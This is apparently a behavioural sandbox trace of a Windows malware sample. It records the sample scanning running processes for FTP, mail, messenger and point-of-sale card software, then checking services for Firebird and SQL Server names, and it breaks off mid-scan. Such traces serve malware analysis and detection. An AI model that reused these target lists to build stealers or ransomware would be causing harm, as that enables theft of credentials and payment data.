	[0076.235] lstrlenW (lpString="alftp.exe") returned 9
	[0076.236] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0076.236] lstrlenW (lpString="barca.exe") returned 9
	[0076.236] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0076.237] lstrlenW (lpString="bitkinex.exe") returned 12
	[0076.237] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0076.238] lstrlenW (lpString="coreftp.exe") returned 11
	[0076.238] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0076.239] lstrlenW (lpString="far.exe") returned 7
	[0076.239] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0076.240] lstrlenW (lpString="filezilla.exe") returned 13
	[0076.240] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0076.241] lstrlenW (lpString="flashfxp.exe") returned 12
	[0076.241] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0076.242] lstrlenW (lpString="fling.exe") returned 9
	[0076.242] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0076.243] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0076.243] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0076.244] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0076.244] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0076.245] lstrlenW (lpString="icq.exe") returned 7
	[0076.245] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0076.246] lstrlenW (lpString="leechftp.exe") returned 12
	[0076.246] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0076.247] lstrlenW (lpString="ncftp.exe") returned 9
	[0076.247] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0076.247] lstrlenW (lpString="notepad.exe") returned 11
	[0076.247] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0076.248] lstrlenW (lpString="operamail.exe") returned 13
	[0076.248] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0076.249] lstrlenW (lpString="pidgin.exe") returned 10
	[0076.249] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0076.250] lstrlenW (lpString="scriptftp.exe") returned 13
	[0076.250] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0076.251] lstrlenW (lpString="skype.exe") returned 9
	[0076.251] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0076.252] lstrlenW (lpString="smartftp.exe") returned 12
	[0076.252] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0076.253] lstrlenW (lpString="thunderbird.exe") returned 15
	[0076.253] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0076.253] lstrlenW (lpString="totalcmd.exe") returned 12
	[0076.253] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0076.254] lstrlenW (lpString="trillian.exe") returned 12
	[0076.254] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0076.255] lstrlenW (lpString="webdrive.exe") returned 12
	[0076.255] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0076.256] lstrlenW (lpString="whatsapp.exe") returned 12
	[0076.256] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0076.257] lstrlenW (lpString="winscp.exe") returned 10
	[0076.257] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0076.257] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0076.257] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0076.258] lstrlenW (lpString="active-charge.exe") returned 17
	[0076.258] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0076.259] lstrlenW (lpString="accupos.exe") returned 11
	[0076.259] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0076.260] lstrlenW (lpString="afr38.exe") returned 9
	[0076.260] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0076.260] lstrlenW (lpString="aldelo.exe") returned 10
	[0076.260] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0076.261] lstrlenW (lpString="ccv_server.exe") returned 14
	[0076.261] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0076.262] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0076.262] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0076.263] lstrlenW (lpString="creditservice.exe") returned 17
	[0076.263] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0076.323] lstrlenW (lpString="edcsvr.exe") returned 10
	[0076.323] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0076.361] lstrlenW (lpString="fpos.exe") returned 8
	[0076.361] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0076.362] lstrlenW (lpString="isspos.exe") returned 10
	[0076.362] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0076.362] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0076.362] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0076.363] lstrlenW (lpString="omnipos.exe") returned 11
	[0076.363] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0076.364] lstrlenW (lpString="spcwin.exe") returned 10
	[0076.364] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0076.364] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0076.364] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0076.365] lstrlenW (lpString="utg2.exe") returned 8
	[0076.365] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="machinesaladafterwards.exe")) returned 1
	[0076.366] lstrlenW (lpString="machinesaladafterwards.exe") returned 26
	[0076.366] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiers-ag.exe")) returned 1
	[0076.367] lstrlenW (lpString="cashiers-ag.exe") returned 15
	[0076.367] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x101c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospective-ok-douglas.exe")) returned 1
	[0076.367] lstrlenW (lpString="prospective-ok-douglas.exe") returned 26
	[0076.367] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="limitedcatchexemption.exe")) returned 1
	[0076.368] lstrlenW (lpString="limitedcatchexemption.exe") returned 25
	[0076.368] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1068, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0076.369] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0076.369] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0076.369] lstrlenW (lpString="taskhostw.exe") returned 13
	[0076.369] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0076.370] lstrlenW (lpString="taskhostw.exe") returned 13
	[0076.370] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0076.370] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0076.370] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0076.371] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0076.371] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0076.372] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0076.372] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0076.372] lstrlenW (lpString="UsoClient.exe") returned 13
	[0076.372] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x117c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0076.373] lstrlenW (lpString="conhost.exe") returned 11
	[0076.373] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x115c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0076.374] lstrlenW (lpString="conhost.exe") returned 11
	[0076.374] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.374] lstrlenW (lpString="svchost.exe") returned 11
	[0076.374] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0076.375] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0076.375] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.376] lstrlenW (lpString="svchost.exe") returned 11
	[0076.376] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0076.376] lstrlenW (lpString="cmd.exe") returned 7
	[0076.376] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0076.377] lstrlenW (lpString="conhost.exe") returned 11
	[0076.377] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0076.378] lstrlenW (lpString="dllhost.exe") returned 11
	[0076.378] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0076.378] CloseHandle (hObject=0x370) returned 1
	[0076.378] Sleep (dwMilliseconds=0x1f4) 
	[0077.204] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x53ef18
	[0077.205] EnumServicesStatusExW (in: hSCManager=0x53ef18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0077.205] GetLastError () returned 0xea
	[0077.205] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1ce8) returned 0x563f00
	[0077.205] EnumServicesStatusExW (in: hSCManager=0x53ef18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x563f00, cbBufSize=0x1ce8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x563f00, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0077.206] CloseServiceHandle (hSCObject=0x53ef18) returned 1
	[0077.206] lstrlenW (lpString="Appinfo") returned 7
	[0077.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0077.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0077.206] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0077.206] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0077.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0077.206] lstrlenW (lpString="AppXSvc") returned 7
	[0077.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0077.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0077.207] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0077.207] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0077.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0077.207] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0077.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0077.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0077.207] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0077.207] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0077.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0077.207] lstrlenW (lpString="Audiosrv") returned 8
	[0077.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0077.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0077.207] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0077.207] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0077.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0077.207] lstrlenW (lpString="BFE") returned 3
	[0077.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0077.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0077.207] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0077.207] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0077.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0077.207] lstrlenW (lpString="BITS") returned 4
